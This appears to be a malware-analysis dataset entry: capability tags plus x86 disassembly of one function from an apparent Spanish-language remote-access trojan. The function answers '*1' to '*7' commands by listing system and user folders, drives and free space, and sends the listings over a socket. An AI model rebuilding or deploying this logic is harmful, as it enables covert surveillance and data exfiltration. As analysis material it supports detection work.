Function at 0x408af7
Capabilities:
Check if file exists
Enumerate files on windows
Get common file path
Get disk information
Get disk size
Query environment variable
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x5a0
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x2a
jne 0x408b7b
mov eax, dword [ebp + 8]
inc eax
mov al, byte [eax]
cmp al, 0x31
jne 0x408b7b
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x104
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GetWindowsDirectoryA
sub esp, 8
mov dword [esp + 4], 0x42656a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x4090fa
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x2a
jne 0x408bf4
mov eax, dword [ebp + 8]
inc eax
mov al, byte [eax]
cmp al, 0x32
jne 0x408bf4
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x104
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], 0x42656a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x4090fa
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x2a
jne 0x408c75
mov eax, dword [ebp + 8]
inc eax
mov al, byte [eax]
cmp al, 0x33
jne 0x408c75
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.UserProfile
call sub.KERNEL32.dll_GetEnvironmentVariableA
sub esp, 0xc
mov dword [esp + 4], 0x42656a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x4090fa
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x2a
jne 0x408d8b
mov eax, dword [ebp + 8]
inc eax
mov al, byte [eax]
cmp al, 0x34
jne 0x408d8b
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.UserProfile
call sub.KERNEL32.dll_GetEnvironmentVariableA
sub esp, 0xc
mov dword [esp + 4], str.Desktop
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
sete al
test al, al
je 0x408d55
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.UserProfile
call sub.KERNEL32.dll_GetEnvironmentVariableA
sub esp, 0xc
mov dword [esp + 4], str.Escritorio
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
jmp 0x408d6b
mov dword [esp + 4], 0x42656a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x4090fa
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x2a
jne 0x408e0c
mov eax, dword [ebp + 8]
inc eax
mov al, byte [eax]
cmp al, 0x35
jne 0x408e0c
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.ProgramFiles
call sub.KERNEL32.dll_GetEnvironmentVariableA
sub esp, 0xc
mov dword [esp + 4], 0x42656a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x4090fa
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x2a
jne 0x408e8d
mov eax, dword [ebp + 8]
inc eax
mov al, byte [eax]
cmp al, 0x36
jne 0x408e8d
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x42659d
call sub.KERNEL32.dll_GetEnvironmentVariableA
sub esp, 0xc
mov dword [esp + 4], 0x42656a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x4090fa
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x2a
jne 0x4090a1
mov eax, dword [ebp + 8]
inc eax
mov al, byte [eax]
cmp al, 0x37
jne 0x4090a1
mov dword [ebp - 0x18], 0x104
lea ebx, [ebp - 0x480]
mov al, 0
mov edx, 0x104
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
lea eax, [ebp - 0x480]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLogicalDriveStringsA
sub esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x409089
cmp dword [ebp - 0x1c], 0x104
ja 0x409089
lea eax, [ebp - 0x480]
mov dword [ebp - 0x14], eax
jmp 0x409077
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 6
ja 0x408fa4
mov eax, dword [ebp - 0x20]
shl eax, 2
add eax, 0x4266f4
mov eax, dword [eax]
jmp eax
mov dword [esp + 4], str.Desconocido
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x34]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x2c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDiskFreeSpaceExA
sub esp, 0x10
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x580]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.listado_s_s_s_ul__ul__ul
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x23c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp], 0x19
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
inc eax
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov al, byte [eax]
test al, al
setne al
test al, al
jne 0x408f02
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, 0
jmp 0x4094c9
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x409118
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
mov eax, 0
jmp 0x4094c9
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
jmp 0x409483
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
dec eax
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
lea eax, [ebp - 0x37c]
add eax, 0x2c
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ebx, eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [esp + 8], ebx
lea edx, [ebp - 0x37c]
add edx, 0x2c
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 6
je 0x40932f
cmp eax, 6
ja 0x409217
cmp eax, 3
je 0x409317
cmp eax, 3
ja 0x409200
cmp eax, 1
je 0x4092c6
cmp eax, 2
je 0x4092ab
jmp 0x40938f
cmp eax, 4
je 0x409290
cmp eax, 5
je 0x4092fc
jmp 0x40938f
cmp eax, 0x20
je 0x40925a
cmp eax, 0x20
ja 0x409234
cmp eax, 7
je 0x4092e1
cmp eax, 0x10
je 0x409275
jmp 0x40938f
cmp eax, 0x100
je 0x40935f
cmp eax, 0x1000
je 0x409377
cmp eax, 0x80
je 0x409347
jmp 0x40938f
mov dword [esp + 4], str.ARCHIVO_NORMAL
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.CARPETA
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.ARCHIVO_DE_SISTEMA
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.ARCHIVO_OCULTO
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.ARCHIVO_SOLO_LECTURA
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.LECTURA_OCULTO_SISTEMA
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.LECTURA_SISTEMA
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.LECTURA_OCULTO
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.OCULTO_SISTEMA
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.NORMAL
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.TEMPORAL
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.OFFLINE
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
jmp 0x4093a5
mov dword [esp + 4], str.NO_SE_DETECTO_EL_ATRIBUTO
lea eax, [ebp - 0x580]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
dec eax
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x580]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x37c]
add eax, 0x2c
mov dword [esp + 8], eax
mov dword [esp + 4], str.listado_s_s_s_d
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x23c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp], 0x19
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
lea eax, [ebp - 0x37c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x409135
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, 0
jmp 0x4094d5
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret